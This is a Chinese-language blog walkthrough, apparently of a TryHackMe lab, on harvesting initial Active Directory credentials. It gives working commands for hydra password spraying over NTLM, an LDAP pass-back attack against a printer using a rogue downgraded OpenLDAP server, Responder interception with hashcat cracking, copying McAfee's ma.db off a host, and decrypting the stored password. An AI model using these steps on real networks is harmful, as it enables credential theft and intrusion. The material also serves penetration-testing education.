关于活动目录的渗透技术

OSINT&网络钓鱼

获取第一组 AD 凭据的两种流行方法是开源情报 (OSINT) 和网络钓鱼。

开源情报

HaveIBeenPwned和DeHashed等网站提供了出色的平台,可以确定某人的信息(例如工作电子邮件)是否曾参与公开的数据泄露事件。

https://haveibeenpwned.com/
https://stackoverflow.com/

也有可能将凭据泄露在Github或其他的公共论坛如:Stack Overflow

https://github.com/
https://stackoverflow.com/

网络钓鱼

网络钓鱼通常会诱使用户在恶意网页上提供他们的凭据,或者要求他们运行会在后台安装远程访问木马 (RAT) 的特定应用程序。

NTLM 认证服务

我们通过前面的 社工 获得了一些相当的信息,以及权限。现在我们拥有某个销售员工的权限。那么如何扩大成功范围呢。

NTLM 和 NetNTLM

新技术 LAN Manager (NTLM) 是一套安全协议,用于在AD中验证用户身份。通过使用称为 NetNTLM 的基于质询-响应的方案,NTLM 可用于身份验证。这种身份验证机制被网络上的服务大量使用。但是,使用 NetNTLM 的服务也可以暴露在互联网上。以下是一些流行的示例:

  • 公开 Outlook Web App (OWA) 登录门户的内部托管 Exchange (Mail) 服务器。
  • 暴露于 Internet 的服务器的远程桌面协议 ( RDP ) 服务。
  • 与AD集成的暴露的 VPN 端点。
  • 面向 Internet 并使用 NetNTLM 的 Web 应用程序。

NetNTLM,通常也称为 Windows 身份验证或简称为 NTLM 身份验证,允许应用程序在客户端和AD之间扮演中间人的角色。所有身份验证材料都以质询的形式转发给域控制器,如果成功完成,应用程序将对用户进行身份验证。
这意味着应用程序代表用户进行身份验证,而不是直接在应用程序本身上对用户进行身份验证。这可以防止应用程序存储AD凭据,该凭据应仅存储在域控制器上。这个过程如下图所示:
关于活动目录的渗透技术_第1张图片

暴力破解

发现内网之间还存在一个WEB应用,但是进行了身份验证
关于活动目录的渗透技术_第2张图片
使用hydra工具进行爆破

hydra -I -V -L ./usernames.txt -p 'Changeme123' ntlmauth.za.tryhackme.com http-get '/:A=NTLM:F=401'
  • http-get: 这是 Hydra 工具的攻击模式之一,用于通过 HTTP GET 请求尝试登录到目标系统。
  • /:A=NTLM:F=401: 这是 Hydra 的额外参数,用于指定具体的攻击选项。让我们逐个解释这些选项:
  • /::斜杠表示这是一个特定的目标URL路径。
  • A=NTLM:这表示 Hydra 将使用 NTLM 认证进行攻击。NTLM(Windows NT LAN Manager)是一种 Windows 系统常用的认证协议。
  • F=401:这表示 Hydra 只会对返回 HTTP 状态码 401(未授权)的请求进行攻击。这通常意味着 Hydra 会尝试使用给定的凭据进行登录,以便绕过身份验证。
  • “-I” 选项是用于忽略现有的恢复文件,即不等待10秒钟的意思。

关于活动目录的渗透技术_第3张图片
可以看见有四个用户使用的是默认密码

LDSAP绑定凭证

LDAP

应用程序可以使用的另一种AD身份验证方法是轻量级目录访问协议 (LDAP) 身份验证。LDAP 身份验证与 NTLM 身份验证类似。但是,通过 LDAP 身份验证,应用程序可以直接验证用户的凭据。该应用程序有一对 AD 凭据,可以首先使用它们来查询 LDAP,然后验证 AD 用户的凭据。
LDAP 身份验证是与AD集成的第三方(非 Microsoft)应用程序的流行机制。这些包括应用程序和系统,例如:

  • GitLab
  • 詹金斯
  • 定制开发的网络应用程序
  • 打印机
  • VPN

如果这些应用程序或服务中的任何一个暴露在互联网上,则可以使用与针对 NTLM 身份验证系统的攻击相同类型的攻击。然而,由于使用 LDAP 身份验证的服务需要一组AD凭据,因此它开辟了额外的攻击途径。本质上,我们可以尝试恢复服务使用的 AD 凭据,以获得对 AD 的经过身份验证的访问。通过LDAP进行认证的流程如下所示:
关于活动目录的渗透技术_第4张图片

如果可以在正确的主机(例如 Gitlab 服务器)上立足,那么恢复这些AD凭据可能就像读取配置文件一样简单。这些凭据通常以纯文本形式存储在配置文件中,因为安全模型依赖于保持位置和存储配置文件的安全而不是其内容。

LDAP 回传

原理

然而,可以针对 LDAP 身份验证机制执行另一种非常有趣的攻击,称为 LDAP 回传攻击。这是一种针对网络设备(例如打印机)的常见攻击,当您获得对内部网络的初始访问权限时,例如在会议室中插入流氓设备。
当我们访问指定 LDAP 参数的设备配置时,可以执行 LDAP 回传攻击。例如,这可以是网络打印机的 Web 界面。通常,这些接口的凭据保留为默认凭据,例如admin:admin 或 admin:password。在这里,我们无法直接提取 LDAP 凭据,因为密码通常是隐藏的。但是,我们可以更改 LDAP 配置,例如 LDAP 服务器的 IP 或主机名。在 LDAP 回传攻击中,我们可以将此 IP 修改为我们的 IP,然后测试 LDAP 配置,这将强制设备尝试对我们的恶意设备进行 LDAP 身份验证。我们可以拦截此身份验证尝试以恢复 LDAP 凭据。

演示

网络中有一台网络打印机,管理网站甚至不需要凭据
关于活动目录的渗透技术_第5张图片
我们有用户名,但没有密码。但是,当我们按测试设置时,我们可以看到向域控制器发出身份验证请求以测试 LDAP 凭据。我们可以利用此漏洞让打印机连接到我们,这会泄露凭据。由于LDAP的默认端口上389,在本地监听 389端口

nc -lvp 389

关于活动目录的渗透技术_第6张图片
关于活动目录的渗透技术_第7张图片
响应 supportedCapabilities 说明有问题。本质上,在打印机发送凭据之前,它会尝试协商 LDAP 身份验证方法详细信息。它将使用此协商来选择打印机和 LDAP 服务器都支持的最安全的身份验证方法。

托管流氓 LDAP 服务器

如果身份验证方法太安全,则凭据将不会以明文形式传输。对于某些身份验证方法,凭据根本不会通过网络传输!所以我们不能只使用普通的 Netcat 来获取凭据。我们需要创建一个恶意 LDAP 服务器并对其进行不安全的配置,以确保凭证以明文形式发送。

部署

使用以下命令安装 OpenLDAP:

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

使用以下命令可以重新配置 LDAP 服务

dpkg-reconfigure -p low slapd

如果要跳过服务器配置,请确保在请求时按 :
关于活动目录的渗透技术_第8张图片
对于DNS域名,您需要提供我们的目标域,即za.tryhackme.com:
关于活动目录的渗透技术_第9张图片
组织名称也使用相同的名称:
关于活动目录的渗透技术_第10张图片
提供任何管理员密码:
关于活动目录的渗透技术_第11张图片
对于最后两个选项,请确保清除时数据库不会被删除:
关于活动目录的渗透技术_第12张图片
在创建新数据库文件之前移动旧数据库文件:
关于活动目录的渗透技术_第13张图片
在使用恶意 LDAP 服务器之前,我们需要通过降级支持的身份验证机制来使其容易受到攻击。我们希望确保我们的 LDAP 服务器仅支持 PLAIN 和 LOGIN 身份验证方法。为此,我们需要创建一个新的 ldif 文件,并使用以下内容进行调用:

#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

该文件具有以下属性:

  • **olcSaslSecProps:**指定 SASL 安全属性
  • **noanonymous:**禁用支持匿名登录的机制
  • **minssf:**指定可接受的最小安全强度,0表示无保护。

现在我们可以使用 ldif 文件来修补我们的 LDAP 服务器,方法如下:

service slapd start
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

关于活动目录的渗透技术_第14张图片
验证我们的恶意 LDAP 服务器的配置是否已应用:

ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms

image.png

捕获 LDAP 凭证

当我们单击“测试设置”时,身份验证将以明文形式进行。如果正确配置了流氓 LDAP 服务器并且它正在降级通信,您将收到以下错误:“此专有名称包含无效语法”。如果收到此错误,您可以使用 tcpdump 通过以下命令捕获凭据:

tcpdump -SX -i breachad tcp port 389

关于活动目录的渗透技术_第15张图片
可以看见成功获取凭据
关于活动目录的渗透技术_第16张图片

拦截 NetNTLM

原理

攻击者充当了一个第三人,截获流量,重放流量

responder -I 网卡名

关于活动目录的渗透技术_第17张图片
当受害者访问以上 ON开启的服务的时候,攻击者可以拦截凭据,从而获得凭据
关于活动目录的渗透技术_第18张图片

获取凭据

这些凭据是的哈希类型是NetNTLMv2

hashcat -m 5600 hash.txtpasswordlist.txt --force

可以使用 hashcat 破解 也可以使用john
关于活动目录的渗透技术_第19张图片

配置文件

假设您很幸运地造成了一次破坏,使您可以访问组织网络上的主机。在这种情况下,配置文件是尝试恢复AD凭据的绝佳途径。根据被破坏的主机,各种配置文件可能具有枚举价值:

  • Web 应用程序配置文件
  • 服务配置文件
  • 注册表项
  • 集中部署的应用程序

可以使用多个枚举脚本,下面是工具:

https://github.com/GhostPack/Seatbelt

配置文件凭证(db文件)

ma.db 文件存储在固定位置:

C:\ProgramData\McAfee\Agent\DB

关于活动目录的渗透技术_第20张图片
将该敏感文件拷贝至攻击机中

scp [email protected]:C:/ProgramData/McAfee/Agent/DB/ma.db .

使用一个名为 sqlitebrowser 的工具。我们可以使用以下命令打开数据库:

sqlitebrowser ma.db

选择浏览数据选项并选中AGENT_REPOSITORIES 表:
关于活动目录的渗透技术_第21张图片

反转加密密码

我们知道服务帐户用户名是,svcAV并且我们有一个存储为 Base64 字符串的加密密码。
关于活动目录的渗透技术_第22张图片
工具下载地址:

https://github.com/funoverip/mcafee-sitelist-pwd-decryption

模块安装

pip3 install pycryptodome
python mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==

成功破解出密码
关于活动目录的渗透技术_第23张图片

你可能感兴趣的:(APT,网络安全,windows)